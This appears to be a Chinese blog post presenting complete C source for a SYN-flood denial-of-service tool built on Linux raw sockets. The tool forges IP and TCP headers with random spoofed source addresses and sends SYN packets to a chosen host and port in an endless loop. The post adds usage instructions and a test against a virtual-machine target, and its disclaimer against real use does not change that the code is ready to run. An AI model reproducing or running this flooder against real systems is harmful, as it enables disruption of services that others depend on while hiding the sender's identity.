Linux 之原始套接字实现DOS攻击

以下代码实现了使用原始套接字进行DOS攻击的程序,主要用于联系原始套接字的使用,读者切勿使用该程序,去攻击任何主机。
DOS攻击的实现原理是,使用程序,有意去破坏TCP的三次握手,并不断向目标主机发送一个基于TCP的数据包,且该数据包是SYN类型,数据包中的源IP地址为一个随机IP地址,这将导致目标主机收到SYN包之后,一直无法完成3次握手,从而导致系统资源的浪费。
源码如下:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

 unsigned short check_sum(unsigned short* addr,int len)
 {
     register int nleft =len;
     register int sum = 0;
     register short *w=addr;
     short answer = 0;
     while(nleft>1)
     {
         sum+=*w++;
         nleft-=2;
     }

     if(nleft == 1)
     {
         *(unsigned char*)(&answer)=*(unsigned char*)w;
         sum+=answer;
     }

     sum = (sum>>16)+(sum&0xffff);
     sum+=(sum>>16);
     answer = ~sum;
     return answer;

 }
void send_data(int sockfd,struct sockaddr_in * addr,int port)
{
    char buf[1024];
    struct iphdr* ip;
    struct tcphdr* tcp;
    int head_len;

    head_len = sizeof(struct iphdr)+sizeof(struct tcphdr);  /*SYN包不包含用户数据,即获取整个数据包长度*/
    memset(buf,0,sizeof(buf));

    ip = (struct iphdr*)buf;
    ip->version = IPVERSION;              /*IP版本*/                 
    ip->ihl = sizeof(struct ip)>>2;       /*IP包头长度*/
    ip->tos=0;                            /*服务类型*/
    ip->tot_len = htons(head_len);        /*IP数据包长度*/
    ip->id =0;                            
    ip->frag_off = 0;       
    ip->ttl = MAXTTL;                     /*TTL时间*/
    ip->protocol = IPPROTO_TCP;           /*协议为TCP*/
    ip->check = 0;                        /*检验和,后面赋值*/
    ip->daddr = addr->sin_addr.s_addr;    /*目标主机IP*/

    tcp = (struct tcphdr*)(buf+sizeof(struct ip));
    tcp->source = htons(port);            /*本地发送端端口*/  
    tcp->dest = addr->sin_port;           /*目标主机端口*/  
    tcp->seq= random();                   /*随机的序列号,打破三次捂手*/  
    tcp->ack_seq = 0;                     /*不回应ack*/ 
    tcp->doff = 5;          
    tcp->syn=1;                            /*数据类型为SYN请求*/               
    while(1)
    {
        ip->saddr = random();              /*计算校验和*/
        tcp->check = check_sum((unsigned short*)tcp,sizeof(struct tcphdr));
        sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,(socklen_t)sizeof(struct sockaddr_in));

    }

}

/*
程序运行需要传入3个参数,分别为目标主机的IP地址或域名,目标主机的端口号,本机发送端端口号
例如:./a.out 192.168.103.108  8000  8888
*/
int main(int argc,char* argv[])
{
    int sockfd = 0;
    int port = 0;
    struct sockaddr_in addr;
    struct hostent* host;
    int on = 1;
    if(argc != 4)
    {
        printf("input err!ag:./a.out 192.168.103.108  8000  8888\n");
        exit(1);
    }

    memset(&addr,0,sizeof(struct sockaddr_in));

    addr.sin_family = AF_INET;                      /*IPV4协议*/
    if(inet_aton(argv[1],&addr.sin_addr) == 0)      /*获取IP地址的主机名,攻击使用第一个IP*/
    {
        host = gethostbyname(argv[1]);
        if(NULL == host)
        {
            printf("gethostbyname fail!\n");
            exit(1);
        }
        addr.sin_addr = *(struct in_addr*)(host->h_addr_list[0]);
    }

    port = atoi(argv[2]);
    addr.sin_port = htons(port);
    sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP);   /*创建基于TCP的原始套接字*/
    if(sockfd < 0)
    {
        printf("socker fail!\n");
        return -1;
    }

    setsockopt(sockfd,IPPROTO_TCP,IP_HDRINCL,&on,sizeof(on));/*设置套接字的属性为自己构建IP头*/

    port = atoi(argv[3]);
    send_data(sockfd,&addr,port);                            /*发送SYN包*/


    return 0;
}

若想验证结果,可使用 Wireshark进行抓包即可!我是使用虚拟机(192.168.103.128)攻击主机(192.168.103.108)的,从图中可以看到,主机收到了很多SYN包。

Linux 之原始套接字实现DOS攻击_第1张图片

你可能感兴趣的:(功能实现)